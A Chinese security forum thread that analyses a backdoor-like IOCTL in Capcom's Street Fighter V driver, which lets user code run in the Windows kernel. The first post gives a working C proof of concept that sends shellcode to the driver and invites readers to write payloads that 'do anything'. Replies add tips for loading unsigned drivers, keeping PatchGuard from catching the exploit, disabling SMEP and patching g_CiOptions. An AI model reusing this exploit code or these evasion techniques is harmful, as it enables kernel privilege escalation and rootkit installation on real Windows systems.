请选择 进入手机版 | 继续访问电脑版
设为首页收藏本站

梦织未来

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 794|回复: 13

[原创]capcom后门导致的内核提权

[复制链接]

升级   100%

200

主题

64

精华

1433

积分
发表于 2016-10-13 19:36:31 | 显示全部楼层 |阅读模式
梦织未来(www.mengwuji.net)

作者:mengwuji

昨天晚上听群里的小伙伴有人说街霸5有个后门驱动,于是感兴趣下载研究了下,驱动流程很简单,但是却可以做到内核提权,危害性很大,这里简单分析下吧。

1,驱动DriverEntry入口函数做了2件事情。
<1> 动态生成字符串作为设备名来创建设备;动态生成字符串作为符号链接名来创建符号链接。
<2>设置驱动完成例程函数和卸载驱动函数,其中分别设置IRP_MJ_CREATE,IRP_MJ_CLOSE,IRP_MJ_DEVICE_CONTROL分别指向对应的完成例程。

下图是汇编代码:
1.jpg
2.jpg
3.jpg

这里注意下动态生成名字的函数,因为函数内部没有真正的动态因子,所以每次根据固定的参数生成出来的名字是固定的。所以我们可以不用去逆向这个生成名字的函数,直接加载驱动后通过windbg获取到符号链接名就行了。

2,因为CommonCompleteRoutine做的事情很简单,主要的代码集中在DevCtrlCompleteRoutine函数中,我们看看它的流程吧。
<1> 首先验证控制码与缓冲区尺寸。
<2> 验证通过后执行用户传入的内存代码。

流程图如下:
4.jpg
5.jpg
6.jpg

该注释的我都注释了,我们看看ExecuteSecret函数:
7.jpg

好了,流程搞清楚了,我们可以写个小程序实验下,加载驱动后通过下面代码实验:

  1. #include "windows.h"
  2. #include "stdio.h"

  3. #pragma pack(1)
  4. typedef struct _SHELLCODE_INFO
  5. {
  6.         ULONG64 pScAddress;
  7.         CHAR sc[1];
  8. }SHELLCODE_INFO,*PSHELLCODE_INFO;
  9. #pragma pack()

  10. void main()
  11. {
  12.         CHAR szTargetName[] = "\\\\.\\Htsysm72FB";

  13.         PSHELLCODE_INFO pScInfo = (PSHELLCODE_INFO)VirtualAlloc(NULL,0x100,MEM_COMMIT ,PAGE_EXECUTE_READWRITE);
  14.         ZeroMemory(pScInfo,0x100);

  15.         pScInfo->pScAddress = (ULONG64)pScInfo->sc;
  16.         memcpy(pScInfo->sc,"\xCC\xC3",2);

  17.         HANDLE hCapcom = CreateFileA(szTargetName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  18.         if (hCapcom == INVALID_HANDLE_VALUE)
  19.         {
  20.                 printf("打开%s失败\n",szTargetName);
  21.                 getchar();
  22.                 return ;
  23.         }

  24.         DWORD RetV = 0;
  25.         DWORD BytesReturned = 0;
  26.         if (DeviceIoControl(hCapcom,0xAA013044,pScInfo,0x8,&RetV,0x4,&BytesReturned,NULL))
  27.         {
  28.                 printf("成功!\n");
  29.         }else{
  30.                 printf("失败!\n");
  31.         }

  32.         CloseHandle(hCapcom);
  33.         getchar();
  34.         return;
  35. }

复制代码


我测试代码很简单,只是下了一个int 3断点,大家测试的时候自己制造shellcode吧,shellcode写好了可以实现任何功能~

附上驱动文件,解压密码为论坛网址。

Capcom.rar

6.5 KB, 下载次数: 38

回复

使用道具 举报

升级   88.67%

18

主题

0

精华

183

积分
发表于 2016-10-13 19:41:38 | 显示全部楼层
厉害了word梦
回复 支持 反对

使用道具 举报

升级   47.33%

20

主题

2

精华

121

积分
发表于 2016-10-13 19:50:46 | 显示全部楼层
可以用来加载无签驱动吗
回复 支持 反对

使用道具 举报

升级   88.67%

18

主题

0

精华

183

积分
发表于 2016-10-13 19:57:09 | 显示全部楼层
hzqst 发表于 2016-10-13 19:50
可以用来加载无签驱动吗

然而这确实是可以的 而且当初有人研究就是说这个可以加载无签驱动 我特意去看了下昨天才提出来给梦梦的
回复 支持 反对

使用道具 举报

升级   96%

4

主题

1

精华

194

积分
发表于 2016-10-14 01:20:54 | 显示全部楼层
又是一个活生生的傀儡驱动
哎...今天够累的,签到来了...
回复 支持 反对

使用道具 举报

升级   100%

13

主题

3

精华

108

积分
发表于 2016-10-14 07:59:36 | 显示全部楼层
多谢梦大分享。。。
回复 支持 反对

使用道具 举报

升级   10%

0

主题

0

精华

5

积分
发表于 2016-10-14 09:58:07 | 显示全部楼层
优秀。悄悄地保存起来。
回复 支持 反对

使用道具 举报

升级   11.33%

6

主题

0

精华

67

积分
发表于 2016-10-14 10:01:17 | 显示全部楼层
回复 支持 反对

使用道具 举报

升级   18%

1

主题

0

精华

9

积分
发表于 2016-10-15 12:59:57 | 显示全部楼层
赞,最喜欢这种帖子了,流程完整,思路清晰,还有附件。
回复 支持 反对

使用道具 举报

升级   10%

4

主题

0

精华

5

积分
发表于 2016-11-17 19:44:56 | 显示全部楼层
没研究过这个游戏过
回复 支持 反对

使用道具 举报

升级   24%

3

主题

1

精华

12

积分
发表于 2016-11-28 10:14:06 | 显示全部楼层
额。。之前我在看雪发过。然后那啥又被我删了发别地了。。。
可以看下这里:
http://bobao.360.cn/learning/detail/3089.html
这里的话有3个注意点:
a.IRQL(中断请求等极)
还记得sys的调用函数吗,它的形式如下:
关闭中断->调用Ring3利用函数->开启中断。
我们注意到,再执行我们的利用函数的过程中,中断始终是处于关闭的状态,也就是说我们的IRQL(中断请求等极)一直处于Dispatch级别,而大多数内核函数调用的要求是IRQL==PASSIVE_LEVEL。这就会造成概率性蓝屏。所以我们必须在我们的利用函数头尾处加入_enable和_disable,来手动的配合它的流程,这样我们就可以避免IRQL的问题了。
b.禁用KeStackAttachProcess(CR3切换)
由于该函数会切换CR3(页目录表基址)。并且最终返回到当前进程的CR3。而我们当前是在Ring0模式。所以显示会发生奇妙的蓝屏。。。
c.利用函数尽量简短
因为在WIN10 14393版本上,经过测试SMEP已被加入PatchGuard豪华套餐中。所以需要尽快的将SMEP恢复,这也就意味着我们的利用函数需要尽量的简短。当然了,时运不济的话,可能就在那一瞬间就被检测到了。
d.配合动态PatchGuard
一般而言,做到以上3点,加载/卸载驱动1-5次之间的蓝屏几率是很小的。但是如果需要完美的话,那就要动态的干PatchGuard了。我们知道,在WIN7以及WIN8已经有牛实现了动态干PatchGuard并已放出,但是在WIN10上目前并没有公开放出源代码。
回复 支持 反对

使用道具 举报

升级   100%

200

主题

64

精华

1433

积分
 楼主| 发表于 2016-12-20 19:33:22 | 显示全部楼层
gmhzxy 发表于 2016-11-28 10:14
额。。之前我在看雪发过。然后那啥又被我删了发别地了。。。
可以看下这里:
http://bobao.360.cn/learni ...

嗯嗯,是的。
windows10的pg听说比较难搞,有空去欣赏下
回复 支持 反对

使用道具 举报

升级   48%

8

主题

0

精华

24

积分
发表于 2016-12-20 20:14:30 | 显示全部楼层
gmhzxy 发表于 2016-11-28 10:14
额。。之前我在看雪发过。然后那啥又被我删了发别地了。。。
可以看下这里:
http://bobao.360.cn/learni ...

请问下前辈win7的动态干PG有详细的文档吗?
回复 支持 反对

使用道具 举报

升级   52%

4

主题

0

精华

26

积分
发表于 2017-1-14 17:46:12 | 显示全部楼层
gmhzxy 发表于 2016-11-28 10:14
额。。之前我在看雪发过。然后那啥又被我删了发别地了。。。
可以看下这里:
http://bobao.360.cn/learni ...

直接改g_CiOptions后加载驱动蓝屏的概率也是很小的
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|Archiver|mengwuji ( 粤ICP备13060035号-1 )  

GMT+8, 2017-2-25 17:17 , Processed in 0.426587 second(s), 29 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表